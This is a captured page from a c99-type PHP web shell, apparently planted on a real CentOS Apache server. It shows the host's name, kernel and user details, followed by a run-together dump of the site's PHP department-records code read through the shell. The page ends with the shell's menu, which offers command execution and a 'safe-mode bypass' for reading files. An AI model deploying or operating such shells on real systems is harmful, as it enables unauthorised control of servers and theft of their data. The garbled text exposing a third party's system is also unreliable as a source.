Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/eperson/admin/ drwxr-xr-x |
Viewing file: Select action/file-type: MaxDate(); $oDr= new deptref($oC); ?> if($method=="add" && $xv != 1){ // $oC->BeginTrans(); if($depttypeId == 1 || $depttypeId == 2 || $depttypeId == 3 || $depttypeId == 4 || $depttypeId == 5 || $depttypeId == 6){ echo " if 1234"; if($depttypeId == 1 || $depttypeId == 2){ echo " if 12"; $oDp2->SearchByName(); if($oDp2->GetRecord() == 1) $oDp->deptgroup = $oDp2->deptId; else $oDp->deptgroup = 1; } if($depttypeId == 3 || $depttypeId == 4) { echo " if 34"; $oDp->deptgroup = $oDp->deptId; } echo "-------".$oDp->deptgroup; $oDp->AddNew(); $oDp->deptId=$oDp->GetNextCode(); $oDp->deptName=$deptName; $oDp->deptDesc=$deptDesc; $oDp->deptCode=$deptCode; $oDp->deptParent=0; $oDp->deptYear=$deptYear; $oDp->deptDate=$deptDate; $oDp->deptRef=0; $oDp->pbriId=$pbriId; $oDp->depttypeId=$depttypeId; $oDp->deptParentId=$deptParentId; $oDp->deptLevel=$deptLevel; $oDp->deptgroup=$oDp->deptgroup; $oDp->Save(); $oDp4->searchdeptDate($maxdate); while($oDp4->GetRecord()){ if($deptmaxdate[$oDp4->deptId]==1){ $oDr->AddNew(); $oDr->drId=$oDr->GetNextCode(); $oDr->deptId=$oDp->deptId; $oDr->deptrefId=$oDp4->deptId; $oDr->Save(); } } }else{ while($count != 'END') { $oDp->SearchByKey($deptParentId); $oDp->GetRecord(); if($oDp->depttypeId == 1 || $oDp->depttypeId == 2 || $oDp->depttypeId == 3 || $oDp->depttypeId == 4){ //echo " else 1234"; if($oDp->depttypeId == 1 || $oDp->depttypeId == 2){//echo " else 12"; $oDp2->SearchByName(); if($oDp2->GetRecord() == 1) $oDp->deptgroup = $oDp2->deptId; else $oDp->deptgroup = 1; }else if($oDp->depttypeId == 3 || $oDp->depttypeId == 4){ //echo " else 34"; $oDp->deptgroup = $oDp->deptId; $count = 'END'; } }else{ $deptParentId = $oDp->deptParentId; $count = 'NO'; } }//while $oDp->AddNew(); $oDp->deptId=$oDp->GetNextCode(); $oDp->deptName=$deptName; $oDp->deptDesc=$deptDesc; $oDp->deptCode=$deptCode; $oDp->deptParent=0; $oDp->deptYear=$deptYear; $oDp->deptDate=$deptDate; $oDp->deptRef=0; $oDp->pbriId=$pbriId; $oDp->depttypeId=$depttypeId; $oDp->deptParentId=$deptParentId; $oDp->deptLevel=$deptLevel; $oDp->deptgroup=$deptG; $oDp->Save(); $oDp4->searchdeptDate($maxdate); while($oDp4->GetRecord()){ if($deptmaxdate[$oDp4->deptId]==1){ $oDr->AddNew(); $oDr->drId=$oDr->GetNextCode(); $oDr->deptId=$oDp->deptId; $oDr->deptrefId=$oDp4->deptId; $oDr->Save(); } } }//else $oDp5->RSdeptSetgroupHeaddeptDate0(); while($oDp5->GetRecord()){ $oDp3->SearchByName(); if($oDp3->GetRecord() == 1) $deptG = $oDp3->deptId; else $deptG = 1; $oDp6->SearchByKey($oDp5->deptId); $oDp6->GetRecord(); $oDp6->Edit(); $oDp6->deptId=$oDp6->deptId; $oDp6->deptName=$oDp6->deptName; $oDp6->deptDesc=$oDp6->deptDesc; $oDp6->deptCode=$oDp6->deptCode; $oDp6->deptParent=$oDp6->deptParent; $oDp6->deptYear=$oDp6->deptYear; $oDp6->deptDate=$oDp6->deptDate; $oDp6->deptRef=$oDp6->deptRef; $oDp6->pbriId=$oDp6->pbriId; $oDp6->depttypeId=$oDp6->depttypeId; $oDp6->deptParentId=$oDp6->deptParentId; $oDp6->deptLevel=$oDp6->deptLevel; $oDp6->deptgroup=$deptG; $oDp6->Save(); } ?> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0056 ]-- |